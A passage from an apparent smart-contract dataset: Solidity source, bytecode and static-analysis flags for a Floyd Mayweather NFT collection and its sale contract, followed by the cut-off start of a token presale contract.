) external returns (bytes4);
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract FloydAutographCollection is Ownable, ERC721 {
string public baseURI = "https://floydnft.com/photo-nft/";
uint public totalSupply;
bool public isMintingOpen = true;
constructor() ERC721("Floyd Mayweather - Autograph Collection", "FMWAC") {}
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
function setBaseURI(string memory newURI) external onlyOwner {
baseURI = newURI;
}
function batchMint(address[] calldata destinations) onlyOwner external {
uint supply = totalSupply;
uint batchSize = destinations.length;
require(isMintingOpen, "Minting has been closed");
for (uint i = 0; i < batchSize; i++) {
_safeMint(destinations[i], supply++);
}
totalSupply = supply;
}
function closeMinting() onlyOwner external {
isMintingOpen = false;
}
}
contract FloydAutographSale is Ownable {
bool internal isSaleOpen = true;
uint16 public available;
uint232 public price;
FloydAutographCollection public immutable nft;
address public immutable treasury;
uint public immutable saleStart;
constructor(
address _nft,
address _treasury,
uint16 quantity,
uint232 _price,
uint _saleStart
) {
nft = FloydAutographCollection(_nft);
treasury = _treasury;
available = quantity;
price = uint232(_price);
saleStart = _saleStart;
}
function hasSaleStarted() external view returns (bool) {
return saleStart < block.timestamp;
}
function isSaleOpenNow() external view returns (bool) {
return isSaleOpen && saleStart <= block.timestamp;
}
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
function buyNFT(uint desiredQuantity) external payable {
bool _isSaleOpen = isSaleOpen;
uint _available = available;
uint _price = price;
uint quantity = min(_available, desiredQuantity);
uint cost = quantity * _price;
require(saleStart <= block.timestamp, "Sale has not started yet");
require(_isSaleOpen, "Sale is already closed");
require(_available > 0, "Soldout");
require(quantity > 0, "Zero quantity");
require(msg.value >= cost, "Insufficient ETH amount");
address[] memory destinations = new address[](quantity);
for (uint i = 0; i < quantity; i++) {
destinations[i] = msg.sender;
}
nft.batchMint(destinations);
available = uint16(_available) - uint16(quantity);
if (msg.value > cost) {
uint remainder = msg.value - cost;
(bool ok,) = msg.sender.call{value : remainder}("");
require(ok, "Failed to send leftover ETH");
}
}
function setSaleState(bool state) external onlyOwner {
isSaleOpen = state;
}
function setPrice(uint232 _price) external onlyOwner {
price = _price;
}
function returnOwnership() external onlyOwner {
nft.transferOwnership(msg.sender);
}
function withdraw() external {
require(msg.sender == owner() || msg.sender == treasury, "Not owner or treasury");
(bool ok,) = treasury.call{value : address(this).balance}("");
require(ok, "Failed to withdraw ETH");
}
}
|
0x6080604052600436106100e85760003560e01c806361d027b31161008a578063ab0bcc4111610059578063ab0bcc41146102ff578063c4e3709514610341578063d5558cff14610361578063f2fde38b1461038157600080fd5b806361d027b314610227578063715018a61461025b5780638da5cb5b14610270578063a035b1fe1461029b57600080fd5b8063446565b5116100c6578063446565b51461015f57806347ccca021461017457806348a0d754146101cd57806351ed82881461021457600080fd5b80631c8b232d146100ed578063297d1a34146101335780633ccfd60b1461014a575b600080fd5b3480156100f957600080fd5b50427f00000000000000000000000000000000000000000000000000000000615776d0105b60405190151581526020015b60405180910390f35b34801561013f57600080fd5b506101486103a1565b005b34801561015657600080fd5b506101486104c8565b34801561016b57600080fd5b5061011e610676565b34801561018057600080fd5b506101a87f0000000000000000000000007ec643a114336bf1245416d5a62172f1166b0cf281565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200161012a565b3480156101d957600080fd5b50600054610201907501000000000000000000000000000000000000000000900461ffff1681565b60405161ffff909116815260200161012a565b610148610222366004611073565b6106c6565b34801561023357600080fd5b506101a87f00000000000000000000000026fd8628efef4b2658d77955040fd4e49139eb8081565b34801561026757600080fd5b50610148610bff565b34801561027c57600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff166101a8565b3480156102a757600080fd5b506001546102d1907cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681565b6040517cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff909116815260200161012a565b34801561030b57600080fd5b506103337f00000000000000000000000000000000000000000000000000000000615776d081565b60405190815260200161012a565b34801561034d57600080fd5b5061014861035c366004611016565b610c8c565b34801561036d57600080fd5b5061014861037c366004611036565b610d57565b34801561038d57600080fd5b5061014861039c366004610fe2565b610e28565b60005473ffffffffffffffffffffffffffffffffffffffff163314610427576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6040517ff2fde38b0000000000000000000000000000000000000000000000000000000081523360048201527f0000000000000000000000007ec643a114336bf1245416d5a62172f1166b0cf273ffffffffffffffffffffffffffffffffffffffff169063f2fde38b90602401600060405180830381600087803b1580156104ae57600080fd5b505af11580156104c2573d6000803e3d6000fd5b50505050565b60005473ffffffffffffffffffffffffffffffffffffffff1633148061052357503373ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000026fd8628efef4b2658d77955040fd4e49139eb8016145b610589576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074726561737572790000000000000000000000604482015260640161041e565b60007f00000000000000000000000026fd8628efef4b2658d77955040fd4e49139eb8073ffffffffffffffffffffffffffffffffffffffff164760405160006040518083038185875af1925050503d8060008114610603576040519150601f19603f3d011682016040523d82523d6000602084013e610608565b606091505b5050905080610673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4661696c656420746f2077697468647261772045544800000000000000000000604482015260640161041e565b50565b6000805474010000000000000000000000000000000000000000900460ff1680156106c15750427f00000000000000000000000000000000000000000000000000000000615776d011155b905090565b6000805460015474010000000000000000000000000000000000000000820460ff1692750100000000000000000000000000000000000000000090920461ffff16917cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff909116906107348386610f55565b9050600061074283836110e5565b9050427f00000000000000000000000000000000000000000000000000000000615776d011156107ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f53616c6520686173206e6f742073746172746564207965740000000000000000604482015260640161041e565b84610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f53616c6520697320616c726561647920636c6f73656400000000000000000000604482015260640161041e565b6000841161089f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600760248201527f536f6c646f757400000000000000000000000000000000000000000000000000604482015260640161041e565b60008211610909576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600d60248201527f5a65726f207175616e7469747900000000000000000000000000000000000000604482015260640161041e565b80341015610973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f496e73756666696369656e742045544820616d6f756e74000000000000000000604482015260640161041e565b60008267ffffffffffffffff8111156109b5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156109de578160200160208202803683370190505b50905060005b83811015610a5d5733828281518110610a26577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff9092166020928302919091019091015280610a558161115c565b9150506109e4565b506040517fd67b06c100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000007ec643a114336bf1245416d5a62172f1166b0cf2169063d67b06c190610ad090849060040161108b565b600060405180830381600087803b158015610aea57600080fd5b505af1158015610afe573d6000803e3d6000fd5b505050508285610b0e9190611122565b600060156101000a81548161ffff021916908361ffff16021790555081341115610bf6576000610b3e8334611145565b604051909150600090339083908381818185875af1925050503d8060008114610b83576040519150601f19603f3d011682016040523d82523d6000602084013e610b88565b606091505b5050905080610bf3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f4661696c656420746f2073656e64206c6566746f766572204554480000000000604482015260640161041e565b50505b50505050505050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610c80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161041e565b610c8a6000610f6d565b565b60005473ffffffffffffffffffffffffffffffffffffffff163314610d0d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161041e565b6000805491151574010000000000000000000000000000000000000000027fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610dd8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161041e565b600180547fffffff0000000000000000000000000000000000000000000000000000000000167cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610ea9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161041e565b73ffffffffffffffffffffffffffffffffffffffff8116610f4c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840161041e565b61067381610f6d565b6000818310610f645781610f66565b825b9392505050565b6000805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208284031215610ff3578081fd5b813573ffffffffffffffffffffffffffffffffffffffff81168114610f66578182fd5b600060208284031215611027578081fd5b81358015158114610f66578182fd5b600060208284031215611047578081fd5b81357cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81168114610f66578182fd5b600060208284031215611084578081fd5b5035919050565b6020808252825182820181905260009190848201906040850190845b818110156110d957835173ffffffffffffffffffffffffffffffffffffffff16835292840192918401916001016110a7565b50909695505050505050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561111d5761111d611195565b500290565b600061ffff8381169083168181101561113d5761113d611195565b039392505050565b60008282101561115757611157611195565b500390565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561118e5761118e611195565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fdfea2646970667358221220eba7f10b93b72d5c4578c32ebe4fd1fa5e04da83af094902c59a304c4fd7b60564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,766 |
0x98A65d8526DaeDCbB3EA05a678F0d7a8906F2e46
|
// SPDX-License-Identifier: MIT
/*
* $$$$$$_$$__$$__$$$$__$$$$$$
* ____$$_$$__$$_$$_______$$
* ____$$_$$__$$__$$$$____$$
* $$__$$_$$__$$_____$$___$$
* _$$$$___$$$$___$$$$____$$
*
* $$__$$_$$$$$$_$$$$$__$$_____$$$$$
* _$$$$____$$___$$_____$$_____$$__$$
* __$$_____$$___$$$$___$$_____$$__$$
* __$$_____$$___$$_____$$_____$$__$$
* __$$___$$$$$$_$$$$$__$$$$$$_$$$$$
*
* $$___$_$$$$$$_$$$$$$_$$__$$
* $$___$___$$_____$$___$$__$$
* $$_$_$___$$_____$$___$$$$$$
* $$$$$$___$$_____$$___$$__$$
* _$$_$$_$$$$$$___$$___$$__$$
*
* $$__$$_$$$$$__$$
* _$$$$__$$_____$$
* __$$___$$$$___$$
* __$$___$$_____$$
* __$$___$$$$$__$$$$$$
*/
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
contract TokenSale is Ownable, ReentrancyGuard {
address public token;
address public oracle;
uint256 public threshold; // with 1e18
uint256 public initialPrice; // with 1e18
uint256 public tokenPriceUSD; // with 1e18
uint256 public weiRaised; // with 1e18
uint256 public notClaimedTokens; // with 1e18
uint256 public presaleStartsAt;
uint256 public presaleEndsAt;
uint256 public claimStartsAt;
mapping(address => uint256) public contributionInWei;
mapping(address => uint256) public contributionInUSD;
event Withdraw(address indexed owner, uint256 indexed amount);
event BuyTokens(address indexed buyer, uint256 indexed tokens, uint256 indexed pricePerToken, uint256 buyingPower);
event PreBuyTokens(address indexed buyer, uint256 indexed tokens, uint256 indexed pricePerToken, uint256 buyingPower);
event ClaimedTokens(address indexed buyer, uint256 indexed tokens);
constructor(
address _token,
address _oracle,
uint256 _initialPrice,
uint256 _threshold,
uint256 _presaleStartsAt,
uint256 _presaleEndsAt,
uint256 _claimStartsAt
) public {
require(_token != address(0));
require(_oracle != address(0));
require(_initialPrice > 0, "Price should be bigger than 0");
require(_threshold > 0, "Threshold should be bigger than 0");
require(_presaleStartsAt > block.timestamp, "Presale should start now or in the future");
require(_presaleStartsAt < _presaleEndsAt, "Presale cannot start after end date");
require(_presaleEndsAt < _claimStartsAt, "Presale end date cannot be after claim date");
token = _token;
oracle = _oracle;
threshold = _threshold * 1e18;
initialPrice = _initialPrice;
tokenPriceUSD = _initialPrice;
presaleStartsAt = _presaleStartsAt;
presaleEndsAt = _presaleEndsAt;
claimStartsAt = _claimStartsAt;
}
modifier isPresale {
require(block.timestamp >= presaleStartsAt && block.timestamp <= presaleEndsAt, "It's not presale period");
_;
}
modifier hasTokensToClaim {
require(contributionInWei[msg.sender] > 0, "User has NO tokens");
_;
}
modifier claimStart {
require(block.timestamp >= claimStartsAt, "Claim period not started");
_;
}
receive() external payable {
buyTokens();
}
function claimTokens() public claimStart hasTokensToClaim nonReentrant{
uint256 userWeis = contributionInWei[msg.sender];
contributionInWei[msg.sender] = 0;
uint256 _priceInWeiPerToken = getPriceInWeiPerToken(tokenPriceUSD);
uint256 usersTokens = 1e18 * userWeis / _priceInWeiPerToken;
if (notClaimedTokens >= usersTokens) {
notClaimedTokens -= usersTokens;
} else {
notClaimedTokens = 0;
}
IERC20(token).transfer(msg.sender, usersTokens);
emit ClaimedTokens(msg.sender, usersTokens);
}
function withdraw() external onlyOwner nonReentrant {
uint256 amount = address(this).balance;
address payable ownerPayable = payable(msg.sender);
ownerPayable.transfer(amount);
emit Withdraw(msg.sender, amount);
}
function withdrawTokens() external onlyOwner claimStart nonReentrant {
uint256 unsoldTokens = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(msg.sender, unsoldTokens - notClaimedTokens);
}
function buyTokens() public payable isPresale nonReentrant {
uint256 maxTokenPriceUSD = initialPrice * 2**4;
uint256 _priceInWeiPerToken = getPriceInWeiPerToken(tokenPriceUSD);
uint256 tokens = 1e18 * msg.value / _priceInWeiPerToken;
uint256 tokensByMaxPrice = tokens / (maxTokenPriceUSD/tokenPriceUSD);
require(tokens > 0, "Insufficient funds");
